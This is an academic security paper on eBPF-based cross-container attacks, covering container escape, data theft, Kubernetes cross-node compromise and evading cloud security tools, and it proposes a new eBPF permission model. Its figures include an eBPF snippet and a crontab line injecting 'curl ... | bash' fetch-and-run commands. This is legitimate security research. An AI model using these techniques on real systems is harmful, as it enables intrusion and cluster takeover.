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Abstract
The extended Berkeley Packet Filter (eBPF) provides power-
ful and flexible kernel interfaces to extend the kernel functions
for user space programs via running bytecode directly in the
kernel space. It has been widely used by cloud services to
enhance container security, network management, and system
observability. However, we discover that the offensive eBPF
that has been extensively discussed in Linux hosts can bring
new attack surfaces to containers. With eBPF tracing fea-
tures, attackers can break the container’s isolation and attack
the host, e.g., steal sensitive data, DoS, and even escape the
container. In this paper, we study the eBPF-based cross con-
tainer attacks and reveal their security impacts in real world
services. With eBPF attacks, we successfully compromise
five online Jupyter/Interactive Shell services and the Cloud
Shell of Google Cloud Platform. Furthermore, we find that
the Kubernetes services offered by three leading cloud ven-
dors can be exploited to launch cross-node attacks after the
attackers escape the container via eBPF. Specifically, in Al-
ibaba’s Kubernetes services, attackers can compromise the
whole cluster by abusing their over-privileged cloud metrics
or management Pods. Unfortunately, the eBPF attacks on con-
tainers are seldom known and can hardly be discovered by
existing intrusion detection systems. Also, the existing eBPF
permission model cannot confine the eBPF and ensure secure
usage in shared-kernel container environments. To this end,
we propose a new eBPF permission model to counter the
eBPF attacks in containers.

1 Introduction

The extended Berkeley Packet Filter (eBPF) is a Linux kernel
feature that aims at running userspace code (aka, eBPF pro-
grams) in the kernel safely and efficiently via the in-kernel
eBPF virtual machine. The eBPF program can read kernel
data and call kernel functions via eBPF helpers. By loading

*The first two authors contributed equally to this work.

and running them directly in the kernel, users can obtain ker-
nel state and manipulate the kernel interfaces without copying
data to user space, resulting in better performance and observ-
ability. For kernel safety, eBPF programs are only allowed to
execute at fixed locations and are validated by the eBPF veri-
fier to prevent malicious behavior, e.g., unbounded loops and
out-of-bounds read/write operations. However, some offen-
sive eBPF features (e.g., the bpf_probe_write_user [23]
helper function that permits writing to memory of other pro-
cesses) have been added to the kernel since 2016 and they
pose a potential threat to the userspace processes. These fea-
tures are first revealed as dangerous by the community in
2019 [34], and several studies [2, 29, 36, 37] show the poten-
tial for developing eBPF based malware or rootkits.

Meanwhile, the security impact of those eBPF offensive
features in container environments remains unexplored [8]
and their threats are not well understood by the commu-
nity [49, 56, 62, 64]. eBPF has gained broad usage in ex-
isting cloud native world to implement performance profil-
ing, network management, and security monitoring tools for
container, such as Cilium [4], Falco [12], and Calico [3]. In
the past, the security risks of using eBPF in container envi-
ronments were mainly considered as the potential to bring
in new kernel vulnerabilities and thus lead to container es-
cape [14, 17]. However, we find that even without exploiting
eBPF kernel vulnerabilities, eBPF’s normal features can bring
new attack surfaces to containers. Particularly, the eBPF trac-
ing programs are not restricted by the container’s UID and
PID namespaces and can monitor processes throughout the
entire system, including those running on the host VM or
other containers. As a result, those offensive eBPF features
available on Linux hosts can also be exploited in containers
to harm the container’s external processes.

In this paper, we investigate the hazards of eBPF attack
vectors in containers and measure their impacts on real-world
services. Our study figures out that the known eBPF attacks
can harm the processes outside the container, e.g., launching
DoS attacks against the victim processes via killing other
processes, stealing sensitive information by reading other pro-
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cesses’ memory/opened files, or hijacking these processes to
execute malicious commands. Furthermore, by hijacking a
privileged process (with root permission) outside the contain-
ers, attackers can escape the local containers. Specifically,
since existing process hijacking solutions [29] cannot work
in containers due to resource isolation (discussed in § 4.2),
we propose new eBPF-based container escape approaches
that have been assigned with one CVE (CVE-2022-42150).
Also, we discover that eBPF can facilitate the exploitation of
Kubernetes clusters by abusing the insecure Pods deployed
on the same VM with the victim containers.

eBPF threats have not attracted enough attention to the con-
tainer community since they require the CAP_SYS_ADMIN
capability1 which may not be granted to most containers. Nev-
ertheless, we analyze the Docker Hub repositories and find
that more than 2.5% of containers (see §5.3) have the per-
missions required for eBPF attacks. Once these containers
are exposed, attackers can escape the containers and further
compromise Kubernetes clusters via eBPF attacks.

To understand the actual impacts, we perform case studies
and explore real-world exploits in online container environ-
ments. We investigate both container-based online services
(that allow users to run their programs like online program-
ming platforms) and container-based cloud products. Our
experimental results show that 5 out of 11 online program-
ming platforms, including four Jupyter Notebook services
and one online interactive programming course service, can
execute eBPF. We successfully escape the containers of all
5 platforms via eBPF by hijacking various processes out-
side the containers. Moreover, since 2 of these services are
deployed in shared-kernel container environments, we can fur-
ther exploit the containers of other users to steal data or plant
Trojans. The other 3 platforms are deployed in containers that
allocate a dedicated VM to a single user. They still rely on
the container to confine user abilities (e.g., Colab disallows
users to directly connect via ssh), which can be bypassed after
container escape.

We also examine cross node attacks on top cloud vendor’s
Kubernetes cluster products. Three Kubernetes products con-
tain insecure nodes with multiple over-privileged Operator
Pods [18]. When any of these nodes are compromised by
eBPF attackers, they can abuse the service accounts of all the
Pods on this node to exploit the other nodes. Specifically, by
exploiting some powerful Operator Pods deployed for data
backup, network proxy, and performance metrics (e.g., the
Prometheus Pods) on Alibaba ACK cluster, the attackers can
compromise the entire cluster. On Azure and AWS’s Kuber-
netes services, attackers can abuse the cluster management
Pods to compromise several nodes, but they cannot control the
entire cluster since these Pods can only affect limited nodes.

Moreover, eBPF attacks are stealthy and difficult to de-
tect, since they may interfere with the system tracing results

1Since Linux 5.6, eBPF can use the alternative CAP_BPF capability.

that are used by existing defense tools. Existing security
tools [3–5, 12] have not included eBPF adversaries in their
threat models, so they may also be compromised by mali-
cious eBPF programs in another container. If a container with
eBPF permissions is exposed to attackers, they can escape the
container and further exploit the Kubernetes cluster without
being detected by cloud security tools.

Linux’s existing capabilities cannot prevent the abuse of
eBPF since they can only disable or enable the eBPF features
as a whole. It is infeasible to globally disable eBPF as some
users or system services (e.g., systemd) still require eBPF,
especially when eBPF has been applied to scenarios such as
extending NVMe drivers [65], modifying kernel locks [55],
and hotfixing the OS or programs’ vulnerabilities [41]. One
potential countermeasure to mitigate eBPF attacks is to de-
ploy a fine-grained eBPF access control mechanism (e.g.,
LSM-based tools [5, 9, 20]) that only allows trusted programs
to use the offensive eBPF functions. However, since some
famous eBPF security tools (e.g., Datadog [5]) still need of-
fensive eBPF features, users may eventually allow some pro-
grams to use these features, opening doors for supply chain
attacks [40, 50]. To address this problem, we propose a new
eBPF permission model that not only provides fine-grained
control over a program’s available eBPF functions, but also
actively protects the victim processes from being violated by
eBPF malware.
Contributions. In this paper, we investigate offensive eBPF
features in containers and uncover new eBPF-based attack
vectors for container escape attacks and cross-node attacks in
Kubernetes clusters. To understand the real-world impact, we
study various cloud services and find five vulnerable online
services. We also find that all existing cloud security products
can be exploited by eBPF, and three cloud vendors’ default
Kubernetes clusters are vulnerable to the proposed cross-node
attacks. To tackle these concerns, we propose a new eBPF per-
mission model that is promising to provide better performance
and security than the existing LSM-based solutions.
Ethical Consideration. During this research, we examine all
target platforms’ bug bounty regulations and ensure that our
studies comply with their rules. First, we check if a platform
has eBPF permissions by executing normal shell commands.
For the platforms that can run eBPF, we further identify if
they use shared-kernel containers or VM-isolated containers.
For the shared-kernel containers (i.e., LanQiao, EduCoder
in § 5.1), we inform the service providers and conduct the
attacks on the testing environments they provided. For other
platforms, including Google Cloud Shell, Colab, Datalore,
and Gradient, which have isolated a user’s Jupyter container
within a dedicated VM, our exploitation happens in our own
VM and does not affect other users. For the cloud products
discussed in § 5.2, we have informed the four vendors. Since
their elastic serverless functions or containers do not support
eBPF, we focus on exploiting their Kubernetes products in
our private VMs and all tests do not affect others.
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2 Background and Motivation

2.1 eBPF and its Offensive Features

eBPF is introduced into Linux Kernel 3.18 in 2014 as a com-
plement for the classic BPF (known as cBPF, e.g., Seccomp)
by providing a universal in-kernel virtual machine with a gen-
eral purpose RISC instruction set. The eBPF RISC instruc-
tions can be compiled from various front-end languages (e.g.,
C and Rust) using the LLVM toolchain. User space programs
can install diverse eBPF program types to specific kernel
subsystems, extending the kernel features such as XDP/TC
for network flow control, Linux Secure Module (LSM) for
security enforcement, and KProbe to hook kernel functions
for performance analysis or debugging.

eBPF uses a static analysis based verifier to prevent eBPF
code from damaging the kernel by tampering with kernel
memory or exhausting resources via unbounded loops. How-
ever, some problematic eBPF features provided for the user
space [22] may enable the malicious eBPF programs to ma-
nipulate network packets, terminate processes, access and
modify the memory of other processes, and modify syscalls’
arguments or return code [2, 29, 36, 37]. Since running eBPF
in the Linux host requires root permission, it makes these
powerful features most suitable for post-exploitation attacks.
Existing works [29, 36, 37] mainly focus on exploiting these
offensive features to enhance Linux rootkits by concealing
malicious behaviors. Their hazards in container environments
remain unexplored [8, 34, 43].

Inside a container, user’s abilities are restricted by various
security mechanisms, such as Cgroups for CPU and mem-
ory allocation, namespace for UID and PID process isolation,
Seccomp for system call restriction, and chroot for filesys-
tem isolation. However, we find that eBPF tracing features
can break isolation to probe all processes in the kernel. This
allows malicious eBPF programs to exploit the processes
outside the containers using the known eBPF attack vectors.
Unfortunately, this risk is still not fully understood by the
container and kernel communities.

2.2 A Running Example of eBPF Attacks

Figure 1 shows a typical workflow of using eBPF to hijack the
container’s external processes. First, attackers utilize eBPF
tracing features such as RAW_Tracepoint to install a snippet
of eBPF tracing code (the tp_exit function in Figure 1) at the
kernel’s syscall dispatch function. This code executes when-
ever any process completes a syscall. Attackers can identify
privileged Bash processes (step ❶) running on the host as po-
tential hijack targets by recognizing the process name and uid.
When the Bash process is found to be reading a shell script,
attackers can utilize the bpf_probe_write_user helper to
inject malicious shell commands (step ❷ ❸) into the script.
Alternatively, attackers can use other offensive eBPF helpers

SEC("raw_tracepoint/sys_exit")
int tp_exit(struct bpf_raw_tracepoint_args *ctx) {
    unsigned long svc;
    struct pt_regs *regs=(struct pt_regs*)(ctx->args[0]);
    // record the fd of the bash process
    if (svc == NR_openat && is_bash_with_root(ctx)) {
        save_target_bash_fd(ctx);
    }
    // override the read content for the target bash
    if (svc == NR_read) {
        if (is_target_bash_fd(ctx)) {
            char CMD[] = "curl http://attack.sh | bash #";
            char *p = NULL; // ptr for read buf
            int sz = 0; // read size
            bpf_probe_read(&p, sizeof(p) , &regs->si);
            bpf_probe_read(&sz, sizeof(sz), &regs->ax);
            if (sz < sizeof(CMD)) {
                record_new_size(ctx, sizeof(CMD));
            }
            bpf_probe_write_user(p, CMD, sizeof(CMD));
        }
    }
}

SEC("kretprobe/__x64_sys_read") 
int modify_read_size(struct pt_regs *ctx) {
    // modify read size if the CMD is logger 
    // than the actually read size
    if (should_modify_return(ctx)) {
        bpf_override_return(ctx, get_new_size(ctx));
    }
}

Step-2: Append
malicious
commands to
the bash files

Step-3: Modify
the return code
of the read
syscall

3

2

Step-1: Find a
bash process
of root user

1

Trigger on exit
of each syscall

Trigger on return
of read syscall

Figure 1: A running example for hijacking a privilege Bash
process by altering its scripts via eBPF tracing programs.

described in Table 2 to perform DoS attacks or information
theft attacks on the Bash processes. Finally, if the injected
command is longer than the actual bytes length of the read,
the attacker can further modify the return value (step ❹) of
the read syscall2, which indicates the length of bytes read. By
hijacking the host’s privileged Bash process, attackers can
escape the container and execute arbitrary commands in the
host with root privileges.

2.3 Limitations in eBPF Access Control
After the popular Linux distributions (e.g., Ubuntu, SUSE)
disallow the unprivileged usages of eBPF Socket Fil-
ter and CGroup programs, current eBPF access control
model supports only one permission level that requires
CAP_SYS_ADMIN capability for all features [6]. Since the
CAP_SYS_ADMIN is extremely dangerous to containers,
Linux 5.6 provides alternative options by decoupling eBPF
capabilities. Instead of exclusively using CAP_SYS_ADMIN,
CAP_BPF is proposed for using the bpf syscall, and the instal-
lation of particular eBPF program types requires additional ca-
pabilities like CAP_PERFMON or CAP_NET_ADMIN. This
approach can preclude some attacks (e.g., altering processes’
memory or eBPF maps) using H1, H5 in Table 2 that still
require the CAP_SYS_ADMIN.

However, these separated capabilities cannot fully prevent
eBPF-based attacks such as DoS and information theft. At-
tackers may still create eBPF-based malware for containers.
The proliferation of eBPF based cloud native applications
has elevated this risk as users may deploy containers with

2The new size should not exceed the actual buffer size, otherwise it can
corrupt the stack of Bash process and possibly crash it.
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untrusted eBPF programs. Even worse, the eBPF-based risks
in containers are not yet fully understood and some container
services may inadvertently enable eBPF permissions due to
various reasons, such as supporting the functionality of mount
file systems (see § 5.3). The existing eBPF permission model
fails to prevent the untrusted eBPF from misusing these of-
fensive features or harming the containers. We address this
problem by suppressing the dangerous features and propos-
ing new permission models to confine a specific process or
container’s available eBPF features in § 6.

3 Threat Model

We focus on the container environments and assume the at-
tackers can run eBPF tracing programs (e.g., KProbe) in-
side a container, which can make the bpf syscall and ob-
tain the CAP_SYS_ADMIN capability. Though attackers with
both the CAP_BPF and CAP_PERFMON capabilities can
launch DoS and information theft attacks without requir-
ing CAP_SYS_ADMIN, we assume that all attacks require
CAP_SYS_ADMIN as CAP_BPF is rarely used now.

To understand the feasibility of fulfilling the attacking re-
quirements, we investigate the proportion of real-world con-
tainers with eBPF permissions in § 5.3 and find that over
2.5% containers support eBPF tracing programs. Though not
all these containers allow code execution (e.g., most Web
Services), they may still become vulnerable since attackers
can launch supply chain attacks to put eBPF malware in con-
tainer repositories [50] or run eBPF malware via remote code
execution attacks (e.g., Log4Java [21]).

The goals of eBPF attacks are to escape the container and
even control the entire Kubernetes cluster without being de-
tected by the security center. We assume all container security
measures (e.g., Seccomp, AppArmor, SELinux), kernel hard-
ening techniques (e.g., Non-Executable Memory, KASLR,
SMEP/SMAP), and cloud provider’s default protections are
enabled.

4 eBPF-Based Cross Container Attacks

We first introduce exploitable offensive features in containers
and provide an overview of attack vectors for various cross-
container attacks in § 4.1. Then, we present several practical
exploits to escape containers by hijacking host VM processes
in § 4.2. After escaping the containers, we present the Kuber-
netes cross node attack in § 4.3. Finally, we discuss how to
bypass the existing cloud security products in § 4.4.

4.1 Attack Overview
eBPF offensive features have been extensively discussed in
Linux hosts for performing malicious activities such as using
eBPF tracing features to kill a process [2,34,36,37], obtain or
alter the opened files of other processes [2, 37], hijack other

Kernel
eBPF

User space

1. Escape the local Container

3. Attack Cloud
Security Center

2. Attack 
Kubernetes
Cluster

Kubelet

Container
Host

Process

Figure 2: Attackers can escape the container and further ex-
ploit the cluster and the cloud security center.

processes’ execve [2, 34], and using eBPF XDP/TC [29, 43]
to build stealthy rootkits . We investigate these eBPF features
within containers and find that some of them (e.g., tracing
features) can inspect the entire kernel across containers, while
others (e.g., networking features) cannot. The eBPF tracing
features (e.g., KProbe and RAW_Tracepoint) can probe all
processes of the kernel, including those of the host and other
containers, and can further affect these processes via the of-
fensive eBPF helpers (listed in Table 2). In contrast, eBPF
network features such as XDP/TC can only attach to the net-
work interfaces of their own container, without access to the
network interfaces of the host or other containers. We summa-
rize all the offensive eBPF features that can affect container
environments in Appendix A.

By exploiting eBPF features that are not restricted by con-
tainers, attackers can target external processes and perform
cross-container attacks. Table 1 summarizes the following
attack vectors.
Process/System DoS Attack. The existing eBPF-based pro-
cess DoS attacks [2, 36] in Linux hosts can also be applied
in containers, since the eBPF tracing programs can intercept
syscalls both inside and outside the container. When the
target processes trigger the eBPF hooks, attackers can ma-
nipulate the syscall arguments (H1) or return code (H3) to
crash the programs or send signals (H4) to kill the processes.
They can continuously capture and kill all the processes of the
host, including the processes belonging to other containers. If
some crucial processes (e.g., systemd, dockerd) are killed,
the host will be out of service. The attacks are described in
detail in the Appendix B.1.
Information Theft Attack. It is known that eBPF tracing
programs can access other programs’ memory and syscall
arguments via the bpf_probe_read_user helper (H2) [2,37].
Thus, it can be misused to steal other processes’ opened files
across containers and expose sensitive kernel addresses for
further exploitation (discussed in Appendix B.2).
Container Escape Attack. The basic idea of eBPF based
container escape attacks is to hijack the privilege processes
of the host VM. Tampering with the execve syscall of other
processes is a straightforward approach, but compilers gen-
erally place the command string (first argument) of execve
in read-only memory, making most programs’ execve argu-
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Table 1: Different attack vectors of eBPF cross container attacks. (The rows with gray background are our new attacks.)
Offensive HelpersAttack Vector ID Description and Impact Required

eBPF Feature H1 H2 H3 H4 H5
Victim
Process

D1 Killing processes by sending signal eBPF Trace ✓ Any Process
D2 Abusing LSM rules to crash processes eBPF LSM Any ProcessProcess/System

DoS D3 Altering processes’ syscall arguments or return code eBPF Trace ✓ ✓ Any Process
T1 Stealing processes’ opened files eBPF Trace ✓ Any ProcessInformation

Theft T2 Stealing kernel data addresses to bypass KASLR eBPF Trace ✓ -
E1 Code reuse attacks (ROP) to hijack processes eBPF Trace ✓ ✓ ✓ Any Process
E2 Manipulating container’s routine tasks eBPF Trace ✓ ✓ ✓ Cron, Kubelet
E3 Shellcode injection during mprotect syscall eBPF Trace ✓ ✓ ✓ UPX/JIT

Container Escape
by Hijacking
Processes E4 Forging credentials to login as root via SSH eBPF Trace ✓ ✓ ✓ SSH
eBPF Map Tamper M1 Altering other eBPF programs’ maps to manipulate them Any ✓ eBPF Program

Table 2: The offensive eBPF helpers.

ID Helper Name Functionality

H1 bpf_probe_write_user Write any process’s user space memory
H2 bpf_probe_read_user Read any process’s user space memory
H3 bpf_override_return Alter return code of a kernel function
H4 bpf_send_signal Send signal to kill any process
H5 bpf_map_get_fd_by_id Obtain eBPF programs’ eBPF maps fd

ments not modifiable. Existing eBPF control flow hijacking
approaches [29,34] are inadequate for manipulating processes
outside the container since they all require extra information
of the host process (e.g., binary code or memory layouts from
/proc/[pid]/*) that is inaccessible from the container. In
§ 4.2, we propose practicable exploits for real world container
environments.
eBPF Map Tamper Attack. The eBPF maps created by one
program can be globally accessed by other programs via the
bpf_map_get_fd_by_id helper (H5). Attackers can manip-
ulate eBPF programs by altering their maps since eBPF pro-
grams depend on maps for receiving control configurations
and exchanging data with user-space programs. Large eBPF
programs like Tetragon [27] and Datadog [5], which rely heav-
ily on eBPF tail call maps to dispatch jumps to other eBPF
functions, can be fully paralyzed by deleting the map items.

Among these attacks, we focus on container escape attacks
as they can further lead to DoS and information theft attacks.
As shown in Figure 2, after escaping the containers, attackers
may exploit over-privileged Kubernetes plugins (in § 4.3) to
compromise other nodes in the same cluster. Additionally,
attackers can evade detection (in § 4.4) by exploiting existing
cloud security tools (i.e., cloud security centers) to conceal
their malicious activities.

4.2 Container Escape with eBPF
It is infeasible to directly apply the existing eBPF con-
trol flow hijacking attacks [29, 34] to the container’s host
processes as their binary files and memory layout are iso-
lated by the container. Dumping process memory via the
bpf_probe_read_user (H2) is also impossible, since it may
fail due to a page fault. Moreover, containers’ host VM envi-
ronments (e.g., Linux version) can be diverse and unknown

to attackers. The vulnerable processes (e.g., Bash, Python,
and Node.js) that can be exploited to inject malicious scripts
may be absent in the target container’s host VM.

We address these challenges by attacking the common pro-
grams or features used by containers and developing an eBPF
snoop program to identify the appropriate attack targets. For
instance, since most programs depend on libc, we propose
a libc-based ROP attack (E1) that does not require knowl-
edge of the victim processes’ memory or implementation.
Since the libc is mapped into a process’s memory space by
the mmap syscall, attackers can use eBPF tracing programs
to get the libc’s base address from the mmap return value.
Once the base address is identified, attackers can obtain use-
ful ROP gadget addresses based on the libc version. With
these gadgets, attackers can use the bpf_probe_write_user
helper (H1) to place the ROP chain on the return address of
frequently used syscalls, such as read, to manipulate control
flow and perform process hijacking. Our attack can hijack any
process by reusing the ROP gadgets in libc (see Figure 10
in Appendix B.3).

The containers’ common daemon task execution processes,
such as Cron and Kubelet, are ideal hijacking targets as they
usually run as root and are included in many containers. How-
ever, these programs may stay inactive if there are no new
tasks, and it requires some efforts to trigger their task exe-
cution. Figure 3 shows that we can trigger and inject ma-
licious Cron tasks by manipulating multiple syscall results
(E2). Cron periodically scans its configuration directory (e.g.,
the /var/spool/cron/crontabs directory) to find and run
new tasks. We can modify the stat result to make Cron im-
mediately scan its configurations (step ❶). To make Cron
read and execute new tasks, we further modify the fstat re-
sult to trick it into loading the global Cron task config file,
i.e., the /etc/crontab file (step ❷). Finally, we modify the
arguments of the read syscall (step ❸) to change the task
configurations read by Cron. In this way, attackers can manip-
ulate Cron to execute malicious shell commands in the host
VM as root permission. Similar approaches can be used to
manipulate Kubelet’s static Pods, which are periodic tasks.

To facilitate exploitation, we use the eBPF snoop program
to capture all vulnerable processes in a container’s host VM,
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syscall stat

Check if the cron configure directory is changed

/var/spool/cron/crontabs

Cron

1

2 Check if the cron configure file is changed

Attackers forge the directory
modification timestamp

syscall fstat /etc/crontab

3 Open and read the cron configure file

Attackers forge the file
modification timestamp

syscall openat

/etc/crontab

*  *    * * *   root    bash -c 'curl http://malicious.sh | bash'

syscall read

Attackers inject malicious
cron jobs to configrue file

Figure 3: The workflow of forging multiple syscall results to
inject malicious jobs and manipulate Cron.

such as root processes that execute scripts or have modifiable
execve arguments. Additionally, the snoop program can iden-
tify programs that change memory attributes to executable,
which can be exploited through shellcode injection (see E3 in
Appendix B.3).

4.3 Kubernetes Cross Node Attack
As the most popular cluster management tool, Kubernetes [15]
has been widely used by cloud providers to automate the or-
chestration and scaling of containers. In Kubernetes’ termi-
nologies, Pod is the minimal manage and schedule unit that
contains one or more containers; Node refers to a physical ma-
chine or VM that can host multiple Pods. Some applications
may need to access or alter other Pods for better cluster met-
rics or maintenance. Kubernetes deploys these applications
as Pods and assigns credentials with powerful permissions to
these Pods. Service Accounts (SA) are used to authenticate
these Pods’ access to cluster resources. Kubernetes adopts
a role-based access control (RBAC) model in which various
permissions, such as listing pods, updating pods, or even ex-
ecuting commands in other pods, are granted to roles, and
SAs can bind these roles to share their permissions to operate
multiple pods.

eBPF attacks pose a significant threat to Kubernetes clus-
ters, as attackers can steal and abuse the SAs of Pods [16] on
the same node. A Pod’s SA is placed at the path /var/run/

Kubernetes API-Server

...Pod-1

Pod-2

Pod-3

SA-1

SA-1
Role

Node-1 Node-2 Node-n

Pod-n
SA-1
Role

Figure 4: Attackers can control one node and exploit its Ser-
vice Account (SA-1) to further exploit the Pods that are man-
aged by the service account’s binding role (SA-1 Role).

secrets/kubernetes.io/serviceaccount/ and it can be
easily obtained by eBPF information theft attacks when the
SA files are read by the Kubelet. Also, attackers can misuse
all SAs in this node by escaping the container with eBPF.
After obtaining the SAs with Pod management permission,
attackers can send HTTP requests [16] to the Kubernetes
API server to create or update Pods across different nodes. As
shown in Figure 4, the number of affected nodes is determined
by the permissions of these SAs’ binding roles. We find that
many Operator [18] pods have powerful permissions and are
usually widely distributed as daemon pods (i.e., DaemonSet
pod) in every node of the cluster. These Pods greatly aid eBPF
attackers in harming more nodes.
Abusing Operators’ Service Accounts. Kubernetes sup-
ports Operator [18] extensions, which can automatically man-
age application deployment, scaling, backup, and updates in
a customized way. Operators are deployed as Pods and may
have the permission (e.g., Postgres Operator [24] for autoscal-
ing) to create or update Pods on other nodes. Ideally, these
Operators should be placed on independent nodes away from
the attackers. However, some Operators need to be deployed
in multiple nodes together with the Pods that host public ser-
vices. For instance, Cilium [4] before version 1.11.5 has pod
update permissions and is deployed as DaemonSet, which
creates a daemon Pod on all nodes for better network man-
agement. Once these dangerous Operators are deployed on
the same node with the victim containers, attackers can use
the eBPF based information theft attacks or container escape
attacks to steal their SAs and further deploy malicious Pods
to take control of other nodes.

4.4 Bypassing Cloud Security Products

Two factors make it difficult for existing security tools (e.g.,
Cloud Security Center and container security tools) to detect
the eBPF-based cross-container attacks. First, the eBPF at-
tacks happen in kernel space, while cloud security tools [5,12]
mainly analyze the processes’ system calls and userspace be-
havior. Second, eBPF malware can preemptively compromise
these security tools to prevent them from collecting logs.

The cloud security center can detect malicious behavior in
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Figure 5: Attacking the cloud security center.

containers and set security rules (e.g., firewall policies) to safe-
guard the system. Figure 5 depicts a typical architecture of
one cloud security center and several cloud security tools (e.g.,
Falco [12], Datadog [5]). It contains three parts, namely, the
kernel space module (implemented by Linux Kernel Module
or eBPF) that collects processes and system information via
KProbes, the userspace agent that processes and conveys the
kernel logs to the outside analysis engine, and the cloud audit
engine that detects the anomalous behavior by analyzing data
from the userspace agent. Attacker can bypass these secu-
rity tools by blinding its userspace agent or kernel probes via
eBPF and setup an eBPF-based covert command and control
(C&C) channel to receive remote commands.
Blinding the Log Collection of the Defenders. All the steps
of audit log collection and transport (marked by sword sym-
bols in Figure 5) can be disrupted by malicious eBPF. At-
tackers can obstruct the userspace agent’s system calls and
intercept its socket channel to prevent it from receiving and
uploading logs. Furthermore, attackers can disable the log-
ging pipe, perf event, and eBPF maps of the kernel module
or even bypass the kernel KProbe hooks (see Appendix C).
When using the bpf_probe_write_user helper, attackers
can block security tools from getting syslog warnings and
make container escape attacks more stealthy.
Establishing a Covert C&C Channel. Since the container
services are usually deployed in cloud hosts with Virtual Pri-
vate Cloud (VPC) networks, the open ports and the ip allow
list are managed by the VPC firewall at the hypervisor level.
Typically, the servers with public IPs open only the ports for
ssh login (i.e., prot 22) or web service (i.e., port 80). Attack-
ers can reuse these ports to create a covert communication
channel [29] by injecting and picking out their own packet
based on IP via eBPF XDP and TC programs. By disguis-
ing their packets in regular requests, attackers can covertly
connect to the C&C server. Then, using eBPF-based process
hijacking attacks, they can distribute the exploitation steps of
the commands across multiple processes or containers and
evade triggering logs with malicious patterns.

Table 3: A statistics of the permissions (i.e., root user, the
CAP_SYS_ADMIN capability, bpf system call) and vulnerable
platforms in various types of container based online services.

Service Type #Platform #Root #CAP #bpf #Vul

Jupyter 9 7 4 4 4
Online Labs 2 2 1 1 1
CI/CD Platform 8 4 1 0 0
Online Compiler 5 0 1 0 0

5 Real World Study

We conduct an empirical study to assess the real world im-
pacts of our attacks on online services and cloud products by
answering the following research questions:
RQ1: What online services are vulnerable to these attacks?
RQ2: What cloud products are affected by these attacks?
RQ3: How widely is eBPF enabled in containers?
RQ4: Do eBPF cloud tools require eBPF offensive features?

5.1 RQ1: Online Container Services Security

To determine if an online service is vulnerable, we need to
run test scripts and eBPF programs locally inside the con-
tainer of that service. However, not all online services (e.g.,
most websites) allow users to run customized code. The pre-
exploitation phase (e.g., RCE attacks) for remotely running
eBPF code is not our research target. Instead, our focus is
on online development platforms that allow for custom code
execution, enabling our PoCs to run directly on them. As
shown in Table 3, we analyze four types of container-based
online development platforms, including 9 Jupyter platforms,
2 online programming labs, 8 CI/CD platforms [46], and 5
online compilers. The 8 CI/CD platforms [46] and 5 online
compilers have both disabled the bpf system call, preventing
the use of eBPF. Online coding platforms, including Jupyter
and programming labs, offer more capabilities, with 5 out of
11 platforms allowing the bpf system call and having eBPF
permissions.

Table 4 shows the detailed permissions of the 11 online
coding platforms and we manage to escape all 5 platforms
with eBPF permissions by hijacking the host’s various priv-
ilege processes. Out of the 11 platforms, only 4 platforms’
containers share the kernel. Among these, LanQiao cloud
course and EduCoder online coding labs support eBPF and
can be exploited by our attacks. CoCalc disallows Root users,
thereby restricting users from installing packages with apt.
As a result, the platform provides thousands of pre-installed
programs to meet users’ programming needs, and for any new
software, users must request the platform administrator to
manually install it. Kaggle does not provide network access
and prevents the bpf system call. The other 7 platforms all
deploy containers in separate VMs. We have escaped the 3
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Table 4: The detailed environments, permissions, and exploitation results of online programming services ( : can escape the
container but restricted by the VM, : can escape the container and harm other containers.).

Id Platform Service
Type

Kernel
Version

Cloud
Vendor

Shared
Kernel

Has
Root

CAP_SYS_
ADMIN

bpf
syscall Escape Victim

Process
1 Deepnote Juptyer 5.4.190 AWS ✗ ✓ ✗ ✗

2 Colab Juptyer 5.4.188 Google Cloud ✗ ✓ ✓ ✓ sshd, bash
3 CoCalc Juptyer, Desktop 5.13.0 ✓ ✗ ✗ ✗

4 Datalore Juptyer 5.11.0 AWS ✗ ✓ ✓ ✓ cron
5 Gradient Juptyer 5.4.0 Paperspace ✗ ✓ ✓ ✓ bash, kubelet
6 LanQiao Juptyer, Shell 4.18.0 Alibba Cloud ✓ ✓ ✓ ✓ bash, cron
7 EduCoder Shell 5.4.0 Alibba Cloud ✓ ✓ ✓ ✓ cron, kubelet
8 Kaggle Juptyer 5.10 Google Cloud ✓ ✓ ✗ ✗
9 Saturn Juptyer 5.4.181 AWS ✗ ✓ ✗ ✗
10 mybinder Juptyer 5.4.0 Google Cloud ✗ ✗ ✗ ✗
11 O’reilly Shell 5.4.0 ✗ ✓ ✗ ✗

platforms with eBPF permissions, including Colab, Datalore,
and Gradient.

The Detail Approaches of Escaping Containers. Our con-
tainer escape approaches need to hijack a privileged process
of the host. Due to the differences in host environments, we
try various exploit methods to hijack a suitable process and
spawn a reverse shell for further investigation.
(1) Hijacking the Container’s routine tasks. EduCoder uses
Kubernetes to deploy containers to host online coding courses.
To support the courses (e.g. database tutorials and eBPF tu-
torials) that require additional system calls and capabilities,
they enable CAP_SYS_ADMIN for all containers. To exploit
their containers, we can run our eBPF PoC program in the
online shell of any course. We identify that they use Ubuntu as
the host OS and contain the routine task scheduler processes,
such as cron and kubelet. We are able to spawn a reverse
shell by injecting malicious commands to cron tasks.
(2) Identifying more victim processes via snoop. Unlike the
Educator, Google Colab’s Jupyter container is isolated by a
separate VM that belongs to the current user. There are far
fewer processes outside the container. To identify a target
process for hijacking, we run our eBPF snoop program for
hours to enumerate all the processes. Finally, we find that
Colab’s automation tool, which seems to be the Python Fabric,
uses ssh to connect to the VM as the root user and start
some routine maintenance tasks periodically. Thus, we can
hijack the Bash process and inject the malicious commands
of creating a reverse shell when a new ssh client login.

Hazards of Exploiting VM-Based Containers. After escap-
ing the container, we cannot affect other users on platforms
like Colab, Datalore, and Gradient as they isolate each user’s
container in a dedicated VM. However, we can bypass some
regulations on these platforms, such as exceeding the limit of
free users for Jupyter notebooks or accessing the server via
SSH, which is restricted to prime users only. Even protecting
the containers with dedicated VMs, containers escape may
still be dangerous because Jupyter platforms usually allow
users to share their notebooks. The malicious Jupyter Note-

books can be shared to (or via Phishing attack) other users
and the eBPF malware can escape to their host VM and plant
Trojans to occupy their computing resources or steal their
private data (e.g., Colab can access user’s Google Driver).
Furthermore, the VMs may contain exploitable access con-
trol vulnerabilities, e.g., Colab has once shared the same ssh
private key [11] for multiple users’ VMs. If configured incor-
rectly, the container management API [10] may be exploited
to compromise the pods in other VMs.

5.2 RQ2: Cloud Container Products Security

We confirm eBPF attacks on four leading cloud vendors’ all
container based cloud products, including cloud shells, server-
less functions (e.g., AWS Lambda), serverless containers (e.g.,
AWS Fargate), and the Kubernetes services.
